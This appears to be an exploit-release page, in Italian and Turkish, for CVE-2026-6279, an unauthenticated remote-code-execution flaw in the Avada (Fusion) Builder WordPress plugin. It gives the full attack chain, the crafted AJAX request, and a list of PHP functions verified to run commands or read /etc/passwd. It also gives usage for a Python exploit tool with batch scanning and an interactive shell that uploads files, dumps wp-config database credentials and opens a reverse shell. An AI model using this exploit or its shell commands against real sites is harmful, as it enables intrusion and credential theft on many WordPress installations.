CVE-2026-6279 — CVE-2026-6279: Avada (Fusion) Builder <= 3.15.2 – Esecuzione remota di codice non autenticata tramite iniezione di funzioni PHP tramite attributo shortcode 'render_logics' tramite gestore AJAX del widget (fusion-builder) | Kitploit

┌─────────────────────────────────────────────────────────────────┐
│                                                                 │
│  1. NONCE TESPİT                                                │
│     wp_create_nonce('fusion_load_nonce') → UID 0               │
│     [fusion_post_cards] veya [fusion_table_of_contents]        │
│     shortcode'u olan herkese açık sayfalarda JS'e eklenir      │
│                          │                                      │
│                          ▼                                      │
│  2. UNAUTHENTICATED AJAX                                        │
│     wp_ajax_nopriv_fusion_get_widget_markup                     │
│     check_ajax_referer() → sadece nonce geçerliliği kontrol    │
│     eder, kullanıcı kimliği doğrulanmaz                        │
│                          │                                      │
│                          ▼                                      │
│  3. DESERİALİZASYON                                             │
│     base64_decode(render_logics) → json_decode()               │
│     Yapı doğrulaması yok — saldırgan kontrolündeki JSON        │
│                          │                                      │
│                          ▼                                      │
│  4. call_user_func() — ALLOWLIST YOK                            │
│     get_value() → wp_conditional_tags case                     │
│     call_user_func($value['function'], $value['args'])         │
│     Herhangi bir PHP fonksiyonu çağrılabilir                   │
│                          │                                      │
│                          ▼                                      │
│  5. RCE ✓                                                       │
│     system("id") → uid=1000(xxcoin)                         │
│     Web sunucusu yetkisiyle tam komut yürütme                  │
│                                                                 │
└─────────────────────────────────────────────────────────────────┘

// VULNERABLE CODE
case 'wp_conditional_tags':
    $decoded = json_decode( base64_decode( $render_logics ), true );
    // ❌ Allowlist kontrolü yok
    return call_user_func( $decoded['function'], $decoded['args'] );

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest

action=fusion_get_widget_markup
fusion_load_nonce=<nonce>
render_logics=<base64_payload>
widget_type=WP_Widget_Recent_Posts
type=WP_Widget_Recent_Posts
widget_id=2
number=2

Funzione	Argomento	Risultato	Stato
`system()`	`id`	`uid=1000(xenon1337)`	✅ Riuscito
`passthru()`	`id`	`uid=1000(xenon1337)`	✅ Riuscito
`shell_exec()`	`id`	`uid=1000(xenon1337)`	✅ Riuscito
`exec()`	`id`	`uid=1000(xenon1337)`	✅ Riuscito
`file_get_contents()`	`/etc/passwd`	`root:x:0:0:...`	✅ Riuscito
`proc_open()`	—	—	❌ Richiede 2+ argomenti
`popen()`	—	—	❌ Richiede 2+ argomenti

1. Avada, fusion_load_nonce'u UID 0 (public kullanıcı) için üretir
2. [fusion_post_cards] veya [fusion_table_of_contents] shortcode'u
   içeren sayfalarda nonce JS çıktısına eklenir → herkes görebilir
3. check_ajax_referer('fusion_load_nonce') sadece nonce'un
   geçerliliğini doğrular — kullanıcının kimliğini doğrulamaz
4. Sonuç: Herhangi bir ziyaretçi nonce'u alıp endpoint'i çağırabilir

File	Riga	Funzione	Descrizione
`class-fusion-builder-conditional-render-helper.php`	L1083	`should_render()`	deserializzazione di render_logics
`class-fusion-builder-conditional-render-helper.php`	L1531	`get_value()`	⚠️ `call_user_func()` — nessuna allowlist
`fusion-widget.php`	L44	—	collegamento a render_logics
`fusion-widget.php`	L389	—	registrazione dell'handler AJAX `wp_ajax_nopriv`
`class-fusion-builder.php`	L7551	—	registrazione del nonce deterministico per UID 0

# Menülü mod (single + batch)
python3 CVE-2026-6279.py

# Protokolsüz (otomatik tespit)
python3 CVE-2026-6279.py target.com

# Protokol ile
python3 CVE-2026-6279.py http://target.com
python3 CVE-2026-6279.py https://target.com

# Port ile
python3 CVE-2026-6279.py target.com:8080
python3 CVE-2026-6279.py http://target.com:8080

shell> id                          # komut çalıştır
shell> cd /var/www/html            # dizin değiştir
shell> upload local.php /tmp/x.php # dosya yükle
shell> download /etc/passwd        # dosya indir
shell> wp-config                   # DB bilgileri
shell> recon                       # sistem taraması
shell> revshell 10.0.0.1 4444      # reverse shell
shell> exit                        # çık

╔══════════════════════════════════════════════════════════════╗
║  CVE-2026-6279  ·  Avada Builder <= 3.15.2                  ║
║  Unauthenticated RCE via call_user_func()                    ║
║  Copyright © 2026 xxcoin  ·  Thanks: xxcoin 💜 ║
╚══════════════════════════════════════════════════════════════╝

★ Avada tespit edildi! (http://localhost:8888)
★ nonce: b6d7b084c2  (src: /blog/)  [shortcode✓]
★ AJAX: http://localhost:8888/wp-admin/admin-ajax.php
★ RCE: system() [B] [WP_Widget_Recent_Posts]
  • uid=1000(xxcoin) gid=1000(xxcoin) groups=1000

shell> uname -a
  • Linux debian 6.1.0-21-amd64 #1 SMP x86_64 GNU/Linux
shell> wp-config
  • DB_NAME=wordpress
  • DB_USER=wp_user
  • DB_PASSWORD=s3cr3t_p4ss!
  • DB_HOST=localhost

CVE ID	CVE-2026-6279
Interessato	Avada Builder (Fusion Builder) <= 3.15.2
Tema	WordPress Avada Theme
Installazioni attive	900.000+
Tipo di vulnerabilità	PHP Function Injection → RCE non autenticato
CVSS v3.1	9.8 (Critico)
Vettore	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`
Autenticazione	❌ Non richiesta
Interazione utente	❌ Non richiesta
Ricercatore	xxcoin
Data di pubblicazione	2026-05-24

Metrica	Valore
Attack Vector	Network
Attack Complexity	Low
Privileges Required	None
User Interaction	None
Scope	Unchanged
Confidentiality	High
Integrity	High
Availability	High
Punteggio totale	9.8 — CRITICO

CVE-2026-6279

Più Popolari

🔗 Catena di attacco

🧬 Dettagli tecnici

Punto di vulnerabilità

Struttura del payload

Richiesta HTTP

✅ Funzioni RCE verificate

🔑 Perché il nonce può essere bypassato?

📁 Riferimenti al codice sorgente

🚀 Installazione e utilizzo

Requisiti

Utilizzo

Menù

Comandi della shell interattiva

Scansione batch

🖥️ Output del PoC

📊 CVSS v3.1

⚠️ Avviso legale